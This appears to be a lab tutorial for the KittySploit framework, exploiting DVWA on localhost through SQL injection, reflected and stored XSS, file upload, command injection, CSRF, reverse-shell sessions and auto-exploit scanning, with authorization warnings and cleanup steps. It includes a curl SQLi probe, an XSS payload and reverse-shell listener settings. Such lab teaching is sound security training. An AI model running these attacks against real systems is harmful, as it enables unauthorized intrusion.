Exploitation and Sessions

Preparation

workspace use dvwa-recon
lab start dvwa-basics
scope add 127.0.0.1

DVWA Security → Low. Verify browser session or re-authenticate (cookies required for several modules).

From detection to exploit --- principles

1. search to find aligned HTTP auxiliary or exploits module.
2. info / show options : read targeturi, parameters, noise level.
3. check if available --- first choice on a real audit.
4. run for full proof in the isolated test environment.
5. Record minimal proof + vuln if applicable.

search sqli --type auxiliary --protocol http
search dvwa
search xss --type auxiliary --protocol http
search upload --type auxiliary --protocol http
search command injection --type auxiliary
search csrf --type auxiliary

SQL Injection (DVWA /vulnerabilities/sqli/)

DVWA Low context

Injectable id parameter in GET. Response includes user data from MySQL. Usage objective: prove extraction without full database dump.

KittySploit module

use auxiliary/<http_sqli_module_path>
show options
set rhost 127.0.0.1
set rport 80
set ssl false
set targeturi /vulnerabilities/sqli/
set parameter id
check
run

Adapt <http_sqli_module_path> to the search sqli result. If no DVWA-specific module: generic HTTP SQLi module with URI above.

Manual reference validation

curl -s "http://127.0.0.1/vulnerabilities/sqli/?id=1'&Submit=Submit" \
  -b "PHPSESSID=<your_session>; security=low"

Minimal proof

• URL and id parameter.
• Payload (partially masked if client report).
• Excerpt: ``First name: admin'' or equivalent.
• Timestamp, workspace ID.

Blind SQL Injection (sqli_blind/)

Optional extension: same workflow with targeturi /vulnerabilities/sqli_blind/. Observe timing or boolean differences. check particularly useful to limit request count.

Reflected XSS (/vulnerabilities/xss_r/)

Context

name parameter reflected in the page without sufficient encoding at Low.

KittySploit approach

search xss reflected --type auxiliary --protocol http
use auxiliary/<module_xss>
set rhost 127.0.0.1
set rport 80
set targeturi /vulnerabilities/xss_r/
set parameter name
check
run

Proof

Screenshot or HTML excerpt showing execution of a benign vector (<script>alert(1)</script> or documented neutral OWASP payload). In the report: session theft, defacement, phishing impact.

Stored XSS (xss_s/)

Second pass: targeturi /vulnerabilities/xss_s/, POST form. Shows persistence --- severity often higher than reflected.

File Upload (/vulnerabilities/upload/)

DVWA Low context

Upload with weak MIME type / extension validation. Risk: PHP execution if file placed under /hackable/uploads/.

Module

search upload --type auxiliary --protocol http
use auxiliary/<module_upload>
set rhost 127.0.0.1
set targeturi /vulnerabilities/upload/
show options
check
run

Proof without aggressive webshell

• Uploaded filename (e.g.\ test.php or shell.php in isolated test environment).
• Server response confirming success.
• Access URL if execution confirmed --- one validation GET request.

Command Injection (/vulnerabilities/exec/)

Context

ip parameter passed to a system command (ping) without sanitization at Low.

Module

search command injection --type auxiliary
use auxiliary/<module_cmd_injection>
set rhost 127.0.0.1
set targeturi /vulnerabilities/exec/
set parameter ip
check
run

Minimal proof

Benign command output: 127.0.0.1 ping or id / whoami in isolated test environment. No destructive RCE pivot outside scope.

Sessions and RCE

If the exploit returns a shell:

show payloads
set payload payloads/singles/cmd/unix/python_reverse_tcp
set lhost 127.0.0.1
set lport 4444
run
sessions -l
sessions -i 1

Docker: lhost is often the bridge IP (myip), not 127.0.0.1 as seen from the container.

CSRF (/vulnerabilities/csrf/)

Context

DVWA Low: password change form without robust CSRF token. Impact: forced action if authenticated victim visits malicious page.

Approach

search csrf --type auxiliary --protocol http
use auxiliary/<module_csrf>
set rhost 127.0.0.1
set targeturi /vulnerabilities/csrf/
show options
check
run

Proof: demonstrate that a forged request (outside victim browser in isolated test environment) changes state or that the form accepts POST without token. In isolated test environment, document the curl request or module without targeting a real victim.

Other DVWA modules (bonus)

Payloads and listeners (reminder)

show payloads
compatible_payloads
set payload payloads/singles/cmd/unix/python_reverse_tcp
set lhost 192.168.x.x
set lport 4444
run

Managing sessions

sessions -l
sessions -i 1
# post-exploitation legere :
use post/<module_appropriate>
set session 1
run
back
sessions -k 1

Session evidence collection: sysinfo, web root path, OS user --- sufficient for DVWA report.

Proof summary table

Scanner with auto-exploit (isolated test environment only)

scanner -u http://127.0.0.1 --auto-exploit --threads 3

Warning: isolated test environments only. On a real mandate, auto-exploit requires explicit authorization and guardrails (--approve-risk agent, human validation).

Cleanup

sessions -k <id>
lab reset dvwa-basics

Note in the workspace: uploaded files, modified accounts, leftover payloads.